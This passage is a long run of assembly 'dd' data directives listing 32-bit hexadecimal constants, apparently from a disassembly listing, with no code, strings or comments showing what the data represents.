2080714Ch, 0FC90F28Ah, 0EE3BFA46h, 0A0961872h, 0FA45128h dd 9FF671E9h, 0E227B8E0h dd 0AD3061C4h, 0C8FB209Dh, 7AAE041Bh, 805B1832h, 7C369614h dd 11855530h, 0BF3F03h, 6EC54DD2h, 0B6FAD650h, 21257330h dd 8B5247h, 80B76246h, 21CF9D59h, 0F7A57E00h, 8FB60810h dd 0A173006Eh, 0FDA0859Ch, 6C00E3EFh, 256FCADDh, 92D311h dd 0F8A29682h, 2775F5CBh, 0A00D4B01h, 0D5AF6F5Eh, 4B98C30h dd 0FDBAEA12h, 0BE0488EDh, 0A600467Ch, 0AC41D26Bh, 1231CC9Eh dd 5DAABCDCh, 217D8310h, 0F003F579h, 287ED901h, 36110084h dd 0AD4C291Fh, 0E71D21D2h, 540995Ah, 90EF1CF7h, 4140008Bh dd 0D7C0865h, 0BE00DDDCh, 991258E6h, 169ADABAh, 186E4102h dd 0E8B85085h, 0E2564501h, 0EA669F72h, 1442F4h, 0E41C0AF1h dd 0E91ED1A0h, 51EC6300h, 7B567E41h, 8820332h, 45B0FE34h dd 0E8A1E3D0h, 2C30940Bh, 0B7B40042h, 5039F54h, 0F4D93676h dd 0B5AC806Ch, 0A10030F6h, 8004D34Fh, 9CDB5Ah, 3E4B9B28h dd 600C6141h, 34D88130h, 7180ECC4h, 0F94700E5h, 9B2CE068h dd 0A200278Bh, 1675DD4Ch, 261842DAh, 84A93Eh, 0B664AA66h dd 670095EEh, 0EF9B8512h, 0FA068613h, 371D00BDh, 1E7BB580h dd 893C8D1Bh, 130280ABh, 5B504074h, 0A96C00EDh, 8FCD80FDh dd 81261E23h, 4600CF98h, 400CA6F5h, 9B84005Ah, 0D33C775Dh dd 74F4D2C6h, 1C98FB0Eh, 9CA4053h, 0B35512h, 6341A0Ah dd 32E7F8D6h, 273D6F00h, 0F4048417h, 0FD8B007Fh, 8EE235B8h dd 0CE00BEECh, 1C87D671h, 38B01256h, 608354A0h, 0FB318424h dd 0D5C7D012h, 2B5DDC07h, 0D006BD87h, 0B9470029h, 705A8732h dd 1A00F901h, 0C090FA39h, 96694804h, 0CA610090h, 28784BC1h dd 0D22FBF03h, 0D0E3A51Eh, 0F104A122h, 28A93DE4h, 82472Eh dd 3346D060h, 0D3B4D605h, 3D365500h, 17C97B02h, 0AED8CAFCh dd 8C1607B0h, 83F980A9h, 52F8E8F3h, 87ECAB00h, 42039674h dd 3B197D0Ch, 150089DBh, 8EF0F4CFh, 0A40093D5h, 0B4AE9B20h dd 0FB2F91AFh, 60164080h, 1805AD26h, 6A8F018h, 174CDF71h dd 2CB997h, 0DDEA69B0h, 9116F4A3h, 0E81F175Fh, 0CB790800h dd 0C47B7Fh, 38AF5422h, 0B27CFC33h, 8DE18000h, 3DAFFE6h dd 9E062566h, 0D9B96020h, 12EA9510h, 0A62DA50Eh, 46AB4062h dd 13025AA2h, 4ED452h, 0D9E5888Fh, 0F001CEDh, 0A7EE035Dh dd 0E207130h, 85AFA27h, 0F3921921h, 74D4E04Dh, 47B13Fh dd 6A0F8B9Ch, 0DF0E6Eh, 767F1741h, 970440FAh, 0DEB17105h dd 50800CCDh, 3C5C1996h, 0AE8061A6h, 43BB45E3h, 0B038FA4Eh dd 80693C12h, 0EC380D4Dh, 38A7F96h, 1C81C4DCh, 0E7F89F07h dd 2A098C47h, 258EDEADh, 5080AE60h, 45843F5Dh, 0B44C2026h dd 9163A805h, 0FA80A1BCh, 7D230FABh, 8E541338h, 0BD1801CFh dd 209C620Bh, 6B00277Eh, 878FAAE3h, 4C8C6676h, 0AD1D7CDEh dd 0CCD7F7h, 0F6CFDCC4h, 540091AAh, 0F5D84F36h, 0B41C90h dd 9368618Ah, 0D5A95D21h, 5348F400h, 0E3E0ED0Dh, 3054008Eh dd 0CC6C4055h, 0BD03FF4Dh, 1B24FCFEh, 0DE6AF8B4h, 98B55CDAh dd 7682AA0Fh, 0EB9653C0h, 51860B0h, 18806B66h, 0AF380008h dd 86696A85h, 3209B8AEh, 8F9329h, 1DC7E4DAh, 6EB50031h dd 0F63B0976h, 0E100F8DCh, 2F48546Fh, 39DBFDEh, 0C0F1160Eh dd 2A8B2EA7h, 449AB0A7h, 58C07898h, 73096AB4h, 0BED40692h dd 1852C08Ch, 0C3D1F000h, 62C6D86Eh, 0E50B0E76h, 0CC6077A8h dd 2BE7CBBh, 0E281C101h, 0A933201h, 2BA31F4h, 0B38B1A0Eh dd 84681C08h, 267BF1FAh, 1364439h, 3C3849B9h, 60BCD01Dh dd 33898101h, 0ECBBD31Fh, 0A1006F06h, 1791E57Dh, 1F993C67h dd 184F35h, 1C364377h, 280076A3h, 0A119F97Dh, 1CCA3049h dd 0C0E1BB2Ch, 0F489ED21h, 797BDDD5h, 0A1F9E400h, 0D7E5DA50h dd 158F1E9Dh, 26803F78h, 0FE9BB0E8h, 0DA7CA92Dh, 1C401401h dd 4F9E6446h, 1115AD4h, 3F4879CAh, 0D8F3A7B4h, 0D101165Fh dd 2E06DE12h, 0FDF0D228h, 1FC00044h, 131B3E9Bh, 58005602h dd 0CAACA5FEh, 8294B2h, 592DFF48h, 0AB71E403h, 0B3104760h dd 1FF9E26Fh, 80C8A1B6h, 1760FD57h, 4248DD0Dh, 0B80A7CCAh dd 8FB3266Dh, 0B2FB2B02h, 0A534411Bh, 0A883F4h, 5FA3A4A7h dd 7256C348h, 2C458B00h, 439FE198h, 0E855509Bh, 0DEB23CD5h dd 2B1A400h, 0C151F5D9h, 0E94B2C00h, 0BF72D2E7h, 0DCEC00C7h dd 0EE47260Dh, 0D401AA93h, 7EA7F667h, 84F36423h, 0EBBBFA81h dd 3E47B7ECh, 0DC285D1Bh, 7B3C00E0h, 0EDF1A557h, 0A6035939h dd 0E3BCD0FFh, 0EC2000E5h, 26018FD9h, 0A9FEDD63h, 0F5B13Dh dd 0ABCD373Dh, 304DC5E0h, 0E3B0B7D1h, 0BF183CC8h, 2441FB9Bh dd 291D0132h, 0DFFF5382h, 0D12881A1h, 2702789Bh, 6F0CC0h dd 59658385h, 0F79E33BEh, 0A1055C00h, 0D15090DDh, 0E1B109E5h dd 0A2075882h, 0B2C307FDh, 704011A8h, 7600016Eh, 931FB6AFh dd 0F38304Ch, 16A4D68Eh, 9E62477Fh, 503A0FEh, 0FC00C206h dd 0A0C7E0FFh, 0BB17EBh, 6023DEF4h, 0E7DC6313h, 19474506h dd 3820A104h, 5E279706h, 0BA024074h, 804F15ABh, 0CF2B6ED8h dd 4AA000DFh, 0A7B0605Dh, 2D0C8A95h, 786311D1h, 12707634h dd 3872CF9h, 3F4BA700h, 0B814018h, 3C8073F9h, 2880087Eh dd 0F68F176h, 843AE2AEh, 260E0092h, 0F54B72C8h, 10B0603Ch dd 225AFFCDh, 80E0D600h, 0CA3247C6h, 1C1A7BE5h, 9FDCC4h dd 2829A716h, 870006C1h, 0F83EF170h, 2E0BCFh, 31AB4BFEh dd 57616BC6h, 68BF8500h, 0FA783832h, 0D75D00A2h, 0B69C5A72h dd 7B00C174h, 6815F375h, 0FF70A4h, 4DD04EF7h, 0EF1C9782h dd 6F02C5F2h, 9339192Ah, 0BC2EC14Fh, 0FB20B0DFh, 71440B58h dd 0C070358Bh, 6BEFFC1Fh, 9C96FAC0h, 3E68163Dh, 0A280D1CFh dd 0CC8C3741h, 7BB8BC82h, 0EFF7B900h, 0FC1574E8h, 1924003Ch dd 96D37E6Bh, 9400449Eh, 0D8976A61h, 0EAA463C1h, 865E582Ch dd 9DC4D100h, 222E52A3h, 0AAA55B14h, 467D0188h, 0AC37EC97h dd 3B8FF040h, 0B4B510CBh, 44A083Ah, 0A5813D56h, 3FD82CCEh dd 447ACC83h, 0A0688900h, 576A53E6h, 0C4800038h, 32DA62E0h dd 0EE008663h, 66E2CE1Fh, 698215h, 7F4AD0D3h, 2351B93Ch dd 4CAC1800h, 0F59CB053h, 841F243Ah, 634788A0h, 21619280h dd 6D8E4F1h, 5D95AF83h, 0D37A21A1h, 0C9F8524h, 6B910F86h dd 547C6740h, 0A2DBB0A7h, 8D00ED6Eh, 0BB59689h, 0E69FB2CDh dd 0A8C1C56h, 0FEFF0040h, 35FAFDAAh, 9906F305h, 5C0A67Dh dd 14E7FC7h, 9AAA1A1Fh, 3038488Fh, 0D65C91BEh, 0AC3A0AA3h dd 97809032h, 6F7B0401h, 69CA005Dh, 0C05C09FAh, 233928F7h dd 0EC558531h, 2E80C786h, 2D72B0h, 0B6589B35h, 0D2DC7BA5h dd 15A86700h, 0F43457EAh, 23A0003Bh, 0C12FAA2Eh, 8603180Bh dd 0EDB297A9h, 980185B4h, 9ED99A43h, 5D017568h, 642BF80Ah dd 4D2C3056h, 5FAAF31Fh, 77A2DF00h, 0DCFE66h, 0DA468CFCh dd 1F7C7030h, 0CC75B100h, 0A6F96206h, 0D9CF0718h, 0F0391599h dd 26AAE6D3h, 7242201h, 1269D42Bh, 1E7F1D4h, 3AED427Ah dd 0E0221FDDh, 550417C4h, 0AB44E033h, 1C6B4480h, 0D3B00240h dd 670BD7F9h, 0AFC50CC0h, 0FE1B4C00h, 0FCB2D6ECh, 3A1EC56h dd 4F53CA7Eh, 0E800D717h, 481A6178h, 1D0333FBh, 3D579Fh dd 0A8C4A75Bh, 280010FDh, 2A796F1Dh, 8D1E7Bh, 552C03D8h dd 0A16275EAh, 4099A03h, 91E93E76h, 498339E5h, 0DB85EA34h dd 6DB2E790h, 89E6E304h dd 0CC836EF1h, 0FF8DB8B9h, 0BD6F00B7h, 276628D7h, 7248D920h dd 88037434h, 0F7A01060h, 0DD28801Dh, 0C4FF00A5h, 4794C307h dd 0AC00CF3Fh, 0B20EE81Fh, 10DE742h, 0A6F03881h, 0F8D51007h dd 0DA2429FFh, 0E0000D24h, 42B9936h, 0CC9A3Ah, 55FE1127h dd 6F820119h, 5DFC98C0h, 7E8ABE96h, 9B211C12h, 0FDDF0207h dd 30E09577h, 0F7001872h, 21AEB882h, 0E8C6BA33h, 3CB679CDh dd 72B03CB3h, 409FF128h, 0BE09DC9Ah, 80111292h, 0FDC51360h dd 893A0076h, 0AD0C9FCDh, 36004AB2h, 0B39B2201h, 0C7B2196h dd 82FA1607h, 3300D661h, 71F44EF6h, 9656C0h, 776E1936h dd 0A434D0C8h, 0C7286F60h, 0C04155EEh, 12B24679h, 4203B327h dd 0E2A8A133h, 0E85EE367h, 3E51887h, 7ABE3920h, 0CFDBA7EEh dd 0C08F37E1h, 1500924Fh, 0AFFEDEEBh, 5041C9h, 3EB89C8Eh dd 0D377106Ah, 296CA000h, 27F5E652h, 0F6451CD9h, 0F89F89B2h dd 2398D828h, 44335104h, 0AC046B1Ch, 0B6C80310h, 0F514E2Fh dd 4031EE80h, 211D1933h, 48388A55h, 7B1BF984h, 0F32E00B2h dd 0DDE1796Bh, 0C60F4096h, 0E013613Dh, 0BE5F5451h, 2B61C183h dd 806FE1D7h, 0F14B3F71h, 0F31B8DDh, 73598EA2h, 0F36F280h dd 4800B909h, 0E64FCDA1h, 0ECC85D0h, 8D0732C0h, 0B5FE8078h dd 5E436D00h, 20A90537h, 0CDB60788h, 0B0268350h, 1BD9ADFBh dd 717220C7h, 0FDA5FEF1h, 1111204Eh, 0D5368083h, 1DFD8FFEh dd 0C2A5C58Bh, 66ED38E9h, 0AF8198A0h, 3900DE50h, 3E5265Ch dd 3994568Ch, 6202E1FDh, 4C965AFBh, 55AD0C60h, 9CB55F2Ah dd 843CC1E7h, 6187C7F9h, 9B66001h, 86208136h, 0E5B5F957h dd 2A0F77C4h, 0C0D0BDh, 0E217BB11h, 2319F37Ch, 981D6FFAh dd 7DC3C8B4h, 0F89A8A57h, 7AA737EAh, 0D20D0705h, 47334AACh dd 0FE728002h, 0CE0E82A8h, 0A0A17D77h, 66EBC5DFh, 0E2050C74h dd 0D28DBD5h, 0AF160A0Fh, 110F80D0h, 30B4F728h, 85493B3Fh dd 75004065h, 0F4DD15B6h, 0CED93Ah, 43DF7429h, 0BF6099E2h dd 1BDDA00h, 210D0E3Eh, 8AD400A6h, 0AE82360Ah, 0C700085Eh dd 8CAAA8CEh, 1EB02AD5h, 8174561Ah, 88E2A909h, 2C09024h dd 6E8055C0h, 540F52D5h, 80D1F9BEh, 0C933F6CFh, 3A3F303Dh dd 6F385829h, 0DEFB8204h, 0D1E0A641h, 0A8B900E3h, 2AD8F928h dd 61C0225Bh, 778B1944h, 0F2F0053h, 0E6911EA8h, 2E0003A1h dd 0FE18BFA5h, 0EC8371h, 5D11F75Eh, 0AABBDCADh, 5ABEC91Eh dd 9CA6384Ah, 2906D281h, 1181D4B9h, 2DAAFDD5h, 7128B7ADh dd 3E5C38C0h, 0A210C012h, 0CC53041Bh, 7175561Ch, 8765AB06h dd 0C9521830h, 0EA42937h, 8C92C100h, 0E1CC03F3h, 15D90039h dd 4955CA27h, 0AC00A494h, 8CE8BC71h, 0B8C7826Ah, 0B2A3036Eh dd 43ED0FAEh, 0DB2B5BA0h, 44E63Eh, 0A04C9F11h, 0CD9353Fh dd 8B08AAB7h, 0D2004678h, 1B8DB232h, 0F2DDC2E3h, 0BA42875h dd 0F9170560h, 0A537C6h, 919F0A7Ch, 50C14E9Ch, 0C6EC0DFh dd 2442E052h, 890DC0AFh, 2E3E7123h, 1F037854h, 1601D6F8h dd 0BA79901Ch, 0CD04834h, 0B3B281C0h, 25545BCBh, 0FF0042A0h dd 0FA64907Eh, 7B26B32h, 0CAA2E344h, 0EEDDC166h, 0BE0C20E1h dd 7B296E40h, 0DFA9C3B5h, 490C2BC1h, 19D1B424h, 0CDBF185Dh dd 0B6903182h, 3CE10541h, 68F0C057h, 0B27F41h, 0B9CB635Dh dd 0C81B2A8Eh, 2147E40Ah, 7105800Bh, 0A80A176Dh, 8160E404h dd 0E6BC72h, 0CAA321B3h, 44A44A15h, 6C623D77h, 0A0F85B61h dd 0A694F398h, 60AE1FC5h, 7F5880C2h, 501D3A5h, 7904EE07h dd 0DB61DCA8h, 60868855h, 0EEC547ADh, 3503C8E9h, 0BCA67129h dd 0C19E3A80h, 17D1782Ch, 30A9715h, 933995D9h, 6E059FC8h dd 64132602h, 0A127C0E2h, 74ADB990h, 7E780C26h, 43370154h dd 0F3A00318h, 81C3544h, 79381498h, 98DA805Fh, 60ECB77Eh dd 0E0E30FFBh, 9FE02CC2h, 0A8B62B4Ah, 0DDF9E101h, 35AA752Ah dd 17ADA980h, 235CCD8Dh, 1FC5D93Ch, 78048671h, 0A088BADFh dd 51C9BB2h, 32B3217Fh, 9019B7F0h, 0C4044A08h, 5BEBAC59h dd 0E302CC8h, 0B6F7D1DBh, 1425F320h, 3814A347h, 11A0CA22h dd 4F00393Fh, 88DA493Dh, 0C3B57FBh, 0CC8380CAh, 9CEB018Dh dd 0A875ECADh, 0E1872E4h, 0B4A46BDFh, 2A7F3520h, 630A133Bh dd 0DC74A6F9h, 665E38C2h, 41A1E04h, 18C17A51h, 0D95145BCh dd 86F040B4h, 480F2442h, 913A0CCh, 493C04A3h, 0D2C1D540h dd 182AB55h, 0E1FBF88h, 797EB900h, 0AD3EE9E6h, 90AE2467h dd 0E2AC6B82h, 8F9C99BBh, 0D4985B08h, 3D633774h, 9F75A9h dd 49E21929h, 0CC6C93C0h, 4D40648h, 0ADD5D4F7h, 21F3C099h dd 0A0084040h, 29D6860Ch, 0F00E6806h, 2EA2DE7h, 45682C44h dd 0A818263Ch, 0CCA607B4h, 639B3003h, 0A918E08Dh, 0B5613AC9h dd 0A25F0277h, 829FAF2Eh, 467D90A4h, 0A2973C9h, 0B823046Fh dd 0BCEF0098h, 58FA8E6Dh, 1453DB0Eh, 91EC82C8h, 9E90687Ch dd 7CA75074h, 701E249h, 5BF26EE2h, 8946C023h, 0A33D1883h dd 8035BBD1h, 0C9129105h, 190F84h, 0E67A609Ch, 0CFE523AEh dd 7E3EB58h, 674DCBC1h, 0B72A5800h, 482C18BAh, 2594285Fh dd 4656CF06h, 24602218h, 1A2C821h, 0E0AE2F0Dh, 4D0C4010h dd 8C7BA9ABh, 141C5C00h, 2F2BEF77h, 89450120h, 8CBC225h dd 0F2FF60C9h, 38219937h, 44EBBFC0h, 4D731EC0h, 0E5C282BCh dd 108097F2h, 1DE0D00Eh, 10369C0h, 0A345E5h, 0BC2A6631h dd 0DFFF523Ah, 8442E600h, 0F4F02225h, 21E70198h, 0C2710674h dd 0B811C041h, 0A661D00h, 171859B3h, 0AC561946h, 0CA2C7876h dd 0BA237CA2h, 8E09DDE0h, 82D00A0Fh, 0F0C5C3D4h, 0E2881824h dd 90639108h, 0F1586B1Fh, 0A0C1E3C0h, 0FA16EEF5h, 0BEA6008Dh dd 0DF33AAACh, 0F905928Fh, 0E64A27EAh, 8EED7020h, 92DA1D28h dd 4A2FCEF8h, 3C8C880Eh, 0F4607921h, 835EDE76h, 0BEAD0029h dd 0CE206A61h, 7D284DFBh, 0A41BD48Ch, 0D340F0DCh, 0CFA900BEh dd 0F1610168h, 0C107C787h, 584C64A2h, 899293F0h, 0E630C0D1h dd 3BDE9765h, 2AA4D40Eh, 222C4160h, 0B8908B95h, 0DA3680F5h dd 0CFBF3048h, 0C31E0961h, 3A93F2D0h, 0ADE7B10Ah, 6600C483h dd 43BB0AD6h, 0D8232B40h, 0ABE78CF4h, 683E8829h, 87EC1F67h dd 0C9A1007Eh, 4BCBBF23h, 56B00A5Fh, 83B81A40h, 28F0F112h dd 0C0C8F039h, 17073253h, 0E4B12D21h, 1900F7E0h, 0B81CA36Eh dd 943FBh, 6B28A03h, 680127E1h, 16578002h, 421F7946h, 0C976370h dd 209CF240h, 0D82049D9h, 991F088h, 312CE11Fh, 150AA820h dd 28CD59C7h, 9010E022h, 0E8BDC8h, 0AF3037EEh, 90FC9ECDh dd 0FE26218h, 1C6B499h, 0B5DDAAABh, 0F026AF28h, 0B24549Ch dd 0AA2644E7h, 0C4317D01h, 0B8D3C7D4h, 3836CC5Dh, 3D00BED7h dd 0E107CD9Ch, 3030491Dh, 92F479BBh, 0EB9CC1Eh, 0C700C4D8h dd 0BEC3F780h, 341528E7h, 0C0B1609Fh, 45EE9CD2h, 0C21DE200h dd 9EA6D8C5h, 13210085h, 0C428FDFBh, 7903E6D9h, 8CC62DBh dd 2A4FB1D1h, 0E1185C27h, 0AAFCD915h, 0FF002DE4h, 0ABB5729Ch dd 2EB801CFh, 0A42BDEh, 3F696F0Dh, 0A9C01230h, 1596CC98h dd 0FEF400FFh, 428EAC84h, 0B62B6C50h, 3C88F8AEh, 8F289118h dd 0FBB7E123h, 0DDC7BE94h, 0A8508823h, 14DC3BDh, 0E742D38Eh dd 0E8B320DBh, 95181886h, 0EC510EE0h, 0B8F00FDh, 0AB4B6A76h dd 2D0A850Fh, 0EC485C45h, 0F4A9151Ch, 47172A60h, 0AB7F0912h dd 7418EC51h dd 22E9C24Ah, 9F300398h, 0E0AA1437h, 51385755h, 0ECFCF01Dh dd 12CE0033h, 0D0CDBE5Ah, 823478B3h, 9040F029h, 9AAF5DCAh dd 0A6F00A91h, 344E6C4h, 507D198Eh, 7145D8D9h, 4ACED4ACh dd 0CB504E50h, 8AF9A000h, 0E6B257E1h, 18B70428h, 8011B89Ch dd 138EF234h, 0FBC269C0h, 92B54922h, 0A6340930h, 24231DD7h dd 29000D2Fh, 0FCB6159Bh, 15FFEC4h, 0D161A1BFh, 70F6E243h dd 5148EAA2h, 752212Ch, 6473369Dh, 6038C7CBh, 0D3B83F06h dd 0FA80A491h, 0F3C8671Eh, 48A01140h, 35AB00BFh, 6FA54463h dd 7E9F0BE3h, 681918B1h, 0A822E0h, 925E3556h, 2CECBABDh dd 0C268B2F0h, 54659BF2h, 0DE208687h, 0FDBBE630h, 0C27830D7h dd 49138779h, 5901187Ah, 2672584Ah, 2C2278CFh, 39A5A400h dd 0CE4E2E49h, 0AD82D400h, 23FE412Ah, 2D2C2AC7h, 1CE030B0h dd 131BB4A1h, 0BDBA8A04h, 0A098B0A8h, 15880C6Bh, 0E699B194h dd 8CE4124h, 48EBA902h, 5446D8h, 771E7FA8h, 0BEB1C370h dd 4358D502h, 473B056h, 0F28C981Fh, 9F09053h, 81C42DFEh dd 0E6D48320h, 5800C432h, 90D2FB36h, 92268EF6h, 4140FCD5h dd 3EEEC4CFh, 0A819DD28h, 81DEB0ECh, 0E4406139h, 44313832h dd 264553E0h, 0A4C87668h, 4003C994h, 6493E0B3h, 0C58C009Fh dd 5101E5BEh, 65916ECCh, 0A9BF3E3Ch, 222DA500h, 0FA1B7C69h dd 1770D907h, 5C00B92Bh, 12686B2Fh, 342220B2h, 1ED88204h dd 44D41A21h, 0F0357921h, 81876830h, 0A5310C9h, 12C4B27Ah dd 4054E9C5h, 39BB74A8h, 0ED003DAFh, 0EA52E30Bh, 54A28475h dd 0F615026h, 0A047E703h, 12CD0132h, 774D6B8Fh, 0B0502E68h dd 0E4D5360Ah, 63427D00h, 629AF469h, 0ACE74947h, 187FA4A1h dd 82CBC4A5h, 0C66EB14h, 48C217A8h, 3C000153h, 17141E50h dd 4F99003Ch, 2918F062h, 882811D8h, 7970144Dh, 56F20C7Ch dd 0B8269EF4h, 88013483h, 3CE56769h, 0C2301C63h, 59A09EA1h dd 6BF68A0Bh, 5CFC8429h, 3EA1E080h, 0D81D58D9h, 75EED2C7h dd 611CC560h, 22E11A60h, 1C750750h, 0CF4359E7h, 5A41E8DBh dd 96C21CCEh, 8FF24A9Eh, 5C125880h, 3136E21Eh, 57E78A21h dd 0A65A80CCh, 75C34B0Ah, 4D58BC05h, 9C2BDAh, 95F11915h dd 3278C028h, 7F570020h, 1993720Ah, 0A43200CAh, 44D81A4Bh dd 4EC61099h, 91492Fh, 2D946BEDh, 7EBE4CA4h, 8708EC00h dd 863A6966h, 0BB6379Bh, 0B94DD398h, 0D68A6103h, 0A8437321h dd 5C6394E6h, 0E216338Eh, 5B5100AAh, 4F33620Ch, 0BC93162Ch dd 0A4845D42h, 58990E74h, 530B2866h, 80901B38h, 19C945A2h dd 48C88443h, 66096140h, 6D0B76BAh, 87059C5h, 582C705Ch dd 9D1505E0h, 1C3499A8h, 0C0D50155h, 20ACEFC4h, 140808B0h dd 0E22D4F64h, 0C293D91h, 17D416Ch, 8DE6A809h, 4CE2B41Fh dd 28DAC864h, 48DC66C9h, 2307C821h, 0C033D7BAh, 40D00792h dd 38BD9C24h, 0A4601A92h, 943FE65Dh, 50803EF0h, 42D76F24h dd 5A58E254h, 17DD00EBh, 96A60A82h, 97BC0EE5h, 72AD55h dd 0F12E08C0h, 15062966h, 14E27ED9h, 0FA560089h, 0B60EB34Fh dd 1E03A38Fh, 0C79F8BFDh, 0B7999020h, 0AC464CBEh, 40432FC5h dd 4BF00D80h, 15016244h, 8526EF0Eh, 0B4CCF806h, 8B670556h dd 9C6C6528h, 0CCBB9140h, 98CA158Bh, 0F58FF4C4h, 0A1C22182h dd 90E42FC9h, 118C500h, 714BA83Bh, 0ED67182Ch, 0E15FCCEAh dd 12C6B73Dh, 0CCC20E70h, 0EBB32011h, 6000CD6Ah, 0C00878C8h dd 91837E91h, 5E618E64h, 2EBBF041h, 0C8A83693h, 0E9C4C20Eh dd 5505044h, 0F400B0ECh, 761739B5h, 0E3E6109Bh, 0C880DC2Ch dd 2158CBFBh, 2A82D506h, 3D59452Fh, 0B380E4EEh, 2419D20Bh dd 844B6A56h, 0F1B83Ch, 82E89652h, 0E345A643h, 770B01ECh dd 1AFF3FCh, 0DE7147A1h, 84BDF430h, 22073B11h, 40FCE62Ch dd 0A1D9091Dh, 76FA0307h, 53DFC649h, 485DE070h, 89E76130h dd 0BD4298F4h, 80552AB9h, 3C0D0C00h, 81CB674Fh, 268E0053h dd 0D98BF9B7h, 0CD0FD5E1h, 0C9F7FD79h, 0D8E413E2h, 4E4D34EFh dd 0E0CC310Bh, 1D218F06h, 7B9180C8h, 1ECB811Fh, 0DDC7B3h dd 1B5A320Eh, 0C8AE8FD7h, 3A4674A0h, 781A48h, 292776D1h dd 2CD0028Eh, 405C2F23h, 0D9FDA26h, 0D6E9491Fh, 9C716581h dd 6C289615h, 901C86A0h, 37564F00h, 0D482E529h, 209C98E2h dd 0C4001101h, 3181EAD9h, 5DAED721h, 2AC1E8B7h, 0FBD0B267h dd 786C48FAh, 2B261A46h, 0D8102508h, 78072AAFh, 0EA5F9B9Ch dd 0EF5E84C0h, 3BFBE043h, 78481095h, 87046422h, 1FACCA99h dd 27F498A0h, 3C98AA9Bh, 18C9A532h, 203CE790h, 0B8DA21F4h dd 26A18F1Fh, 0FC5F407Ch, 0B9008A95h, 34C0BD4Eh, 1012445Ah dd 2525892Ch, 6154988Dh, 92B4B13Eh, 7CF81417h, 0FE33BCC0h dd 0D97529DDh, 1702AA02h, 67F59C41h, 0CDE28080h, 0D426E998h dd 8024E048h, 4785A178h, 8448E17h, 0B0CB00C5h, 34A9AC7Bh dd 0F2003257h, 0E7FC0476h, 980AE35h, 946CAFEAh, 5E2908E4h dd 0FD08F484h, 56C18610h, 8900E93Fh, 8EC6CFA4h, 16E54BA9h dd 22C9152Eh, 687BFD4Ch, 9BF36F02h, 0FBC22020h, 0DC0EA42Bh dd 0BC2A43h, 48E41617h, 0A4AC94D9h, 28A114D4h, 0E088E52Eh dd 5247AADAh, 3026E42Dh, 16492358h, 12DE351h, 0B71AA22Ch dd 0C4346018h, 8044E658h, 0C9D80234h, 0FCD400D7h, 0C428E74Fh dd 30E9D0E2h, 5D89B91Ch, 7E009436h, 16E5F2E6h, 0C25C94FBh dd 0B0D605E8h, 0FC504AB3h, 4DF063DEh, 67C900BAh, 0EEACF71Dh dd 0E6032064h, 150D1825h, 0D805A8E2h, 64C49E80h, 3840884Dh dd 83CFBC3Dh, 0B09B08E1h, 70B9EA66h, 5C75E2E4h, 80DC582Ah dd 97ECF0ABh, 5F01D3AAh, 0B71FDB71h, 0A860DF8Ch, 2F498861h dd 0E26193F7h, 0AD6BA8D1h, 49E6D9E8h, 58883895h, 0AC923402h dd 7B0598Ah, 53EC690Ah, 0CAD84C5Dh, 0FF48C207h, 51AEC038h dd 47E752h, 7B9E65E5h, 3E979314h, 0F8375D00h, 31535B2Dh dd 44ACB1C1h, 0B983404Ah, 6AEB4EBBh, 514C3CA6h, 829E6h dd 0E7A26312h, 14173E30h, 0E0CF20B2h, 4D33B522h, 0B00EF1F5h dd 34344h, 0BE296D18h, 6169E694h, 0E1ED7A01h, 227EDAF4h dd 5D08F076h, 4B80BD4Dh, 0C5651AF3h, 92F900C8h, 89338B8Ch dd 0E32E4723h, 0D00F2E6h, 0C1E13DF3h, 42A4D58h, 90CB5E88h dd 1E7E4E78h, 2C2CABEFh, 0B8223978h, 8460FC96h, 1738A557h dd 611CF61h, 0E82A6260h, 1C40A142h, 0EE6E00E2h, 56F6C2FDh dd 0BE24B980h, 4DE06498h, 59794E6h, 8087C0DEh, 0EEF8C0B8h dd 8326564Bh, 223A84C4h, 39ED1225h, 0CA48DDD0h, 0A8C5C023h dd 5C3E857h, 0EA377978h, 34CA6F7h, 995E0C2h, 0E9C89883h dd 0F0ACE1F5h, 0B73660E8h, 38391232h, 6E3B5Bh, 0FEC786E4h dd 32BBD27Ch, 9DF02E50h, 0E4405D20h, 0E0AD278Ah, 1CD73822h dd 0C5931202h, 41489F64h, 0E85DA5Bh, 7426E6h, 18CD195Ah dd 5647C3D2h, 4D18DC91h, 0BE3041C6h, 0FB9D112h, 20B7D872h dd 7088B2A2h, 0FA0B7E00h, 67781F47h, 0CD2502B1h, 0D6CC9AC0h dd 98F24460h, 304728B6h, 88929248h, 1B1CD2E4h, 2A809F1Dh dd 28EDB237h, 7A092045h, 60BEC429h, 0F3314886h, 40E24B89h dd 67921CC0h, 0CF00F61Bh, 9A8D187Ah, 0E05EB5CDh, 0BA290049h dd 152C4ED4h, 5388B2BBh, 0CCD84844h, 3D2045A2h, 1490530h dd 84D4DFD7h, 33246BAAh, 85320044h, 0B51BE177h, 14C1006Fh dd 0BF70CA8Eh, 2F020A75h dd 0BB3A0510h, 0C85CEEBEh, 0F48BC6C0h, 0E7D01091h, 0A990A856h dd 9B4500F3h, 5F3762BCh, 3200E64Ah, 285BB7A0h, 9E0756C0h dd 9F1286B0h, 0E64ED1AFh, 2300450h, 751E235Ah, 112840D9h dd 80A093ECh, 54AEE418h, 6BE8B15Bh, 0A84CF615h, 2020D7B8h dd 2E0514h, 0D8E1E21Eh, 93B56A9h, 53BC44A0h, 104DC1C9h dd 0FAB498h, 0DD639D08h, 0BCEE52CEh, 87922105h, 0BC600D86h dd 0D35ABE15h, 9D3C0A41h, 61A2408Ch, 164BB763h, 60C6B467h dd 94614C31h, 8E0162Ch, 2F14797Dh, 23027520h, 0F1E67CA6h dd 0C0C6685h, 12095354h, 48913CC1h, 0C9167C07h, 0B7A66ED0h dd 6149387Ah, 8288AE81h, 2CC51593h, 447488F0h, 5F24B32Ch dd 59611420h, 0D6ED0081h, 0CFA21DF4h, 3D27185Eh, 2E4142Dh dd 33976343h, 0E4C6C8BBh, 90FD511Eh, 2934A307h, 0D332008Bh dd 13378BC1h, 822B9166h, 49221D24h, 9EECE62Ch, 2B894F84h dd 629340AFh, 0DDE05490h, 99134F3Dh, 0C427306Fh, 2C6CE5C0h dd 0F834132Eh, 98145724h, 0EA0086B8h, 5E7051B8h, 0F07AA8BFh dd 1FC62326h, 7CD0D138h, 0A5BB8058h, 48CBADDh, 0EEE3F87Ch dd 0CCF8802Ch, 4D39EF56h, 0C8311E78h, 2F0CECC5h, 48BB9049h dd 47EC54Ch, 0BCF15CB4h, 0EB50E43Ch, 4C139200h, 0C12778A6h dd 0E498006Ch, 3AAD7D30h, 0C6700448h, 59B52938h, 68548A7Ch dd 75F5AE80h, 5F933Dh, 0D138DB2h, 